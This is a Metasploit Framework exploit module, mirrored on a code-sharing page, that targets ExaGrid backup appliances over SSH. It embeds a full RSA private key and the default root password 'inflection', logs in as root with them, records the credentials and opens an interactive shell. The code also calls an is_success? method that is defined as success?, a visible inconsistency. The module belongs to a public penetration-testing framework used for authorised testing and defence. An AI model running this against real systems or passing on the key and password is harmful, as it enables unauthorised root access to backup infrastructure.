Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ssh/exagrid_known_privkey.rb
28507 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'net/ssh'
7
require 'net/ssh/command_stream'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
include Msf::Auxiliary::Report
13
include Msf::Exploit::Remote::SSH
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
{
20
'Name' => 'ExaGrid Known SSH Key and Default Password',
21
'Description' => %q{
22
ExaGrid ships a public/private key pair on their backup appliances to
23
allow passwordless authentication to other ExaGrid appliances. Since
24
the private key is easily retrievable, an attacker can use it to gain
25
unauthorized remote access as root. Additionally, this module will
26
attempt to use the default password for root, 'inflection'.
27
},
28
'Platform' => 'unix',
29
'Arch' => ARCH_CMD,
30
'Privileged' => true,
31
'Targets' => [ [ 'Universal', {} ] ],
32
'Payload' => {
33
'Compat' => {
34
'PayloadType' => 'cmd_interact',
35
'ConnectionType' => 'find'
36
}
37
},
38
'Author' => ['egypt'],
39
'License' => MSF_LICENSE,
40
'References' => [
41
[ 'CVE', '2016-1560' ], # password
42
[ 'CVE', '2016-1561' ], # private key
43
[ 'URL', 'https://www.rapid7.com/blog/post/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ],
44
[ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]
45
],
46
'DisclosureDate' => '2016-04-07',
47
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
48
'DefaultTarget' => 0,
49
'Notes' => {
50
'Stability' => [CRASH_SAFE],
51
'Reliability' => [REPEATABLE_SESSION],
52
'SideEffects' => []
53
}
54
}
55
)
56
)
57
58
register_options(
59
[
60
# Since we don't include Tcp, we have to register this manually
61
Opt::RHOST(),
62
Opt::RPORT(22)
63
], self.class
64
)
65
66
register_advanced_options(
67
[
68
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
69
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
70
]
71
)
72
end
73
74
# helper methods that normally come from Tcp
75
def rhost
76
datastore['RHOST']
77
end
78
79
def rport
80
datastore['RPORT']
81
end
82
83
def do_login(ssh_options)
84
begin
85
ssh_socket = nil
86
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
87
ssh_socket = Net::SSH.start(rhost, 'root', ssh_options)
88
end
89
rescue Rex::ConnectionError
90
return
91
rescue Net::SSH::Disconnect, ::EOFError
92
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
93
return
94
rescue ::Timeout::Error
95
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
96
return
97
rescue Net::SSH::AuthenticationFailed
98
print_error "#{rhost}:#{rport} SSH - Failed authentication"
99
rescue Net::SSH::Exception => e
100
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
101
return
102
end
103
104
if ssh_socket
105
106
# Create a new session from the socket, then dump it.
107
conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)
108
ssh_socket = nil
109
110
return conn
111
else
112
return false
113
end
114
end
115
116
# Ghetto hack to prevent the shell detection logic from hitting false
117
# negatives due to weirdness with ssh sockets. We already know it's a shell
118
# because auth succeeded by this point, so no need to do the check anyway.
119
module TrustMeItsAShell
120
def _check_shell(*_args)
121
true
122
end
123
end
124
125
def exploit
126
payload_instance.extend(TrustMeItsAShell)
127
128
ssh_options = ssh_client_defaults.merge({
129
auth_methods: ['publickey'],
130
key_data: [ key_data ],
131
port: rport
132
})
133
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
134
135
conn = do_login(ssh_options)
136
137
unless is_success?(conn, true)
138
ssh_options[:auth_methods] = ['password']
139
ssh_options[:password] = 'inflection'
140
ssh_options.delete(:key_data)
141
conn = do_login(ssh_options)
142
is_success?(conn, false)
143
end
144
end
145
146
def success?(conn, key_based)
147
if conn
148
print_good 'Successful login'
149
service_data = {
150
address: rhost,
151
port: rport,
152
protocol: 'tcp',
153
service_name: 'ssh',
154
workspace_id: myworkspace_id
155
}
156
credential_data = {
157
username: 'root',
158
private_type: (key_based ? :ssh_key : :password),
159
private_data: (key_based ? key_data : 'inflection'),
160
origin_type: :service,
161
module_fullname: fullname
162
}.merge(service_data)
163
164
core = create_credential(credential_data)
165
login_data = {
166
core: core,
167
last_attempted: Time.now
168
}.merge(service_data)
169
170
create_credential_login(login_data)
171
172
handler(conn.lsock)
173
true
174
else
175
false
176
end
177
end
178
179
def key_data
180
<<~EOF
181
-----BEGIN RSA PRIVATE KEY-----
182
MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
183
hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
184
E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
185
GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
186
BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
187
AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
188
iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
189
Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
190
QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
191
ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
192
XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
193
86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
194
x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
195
-----END RSA PRIVATE KEY-----
196
EOF
197
end
198
end
199
200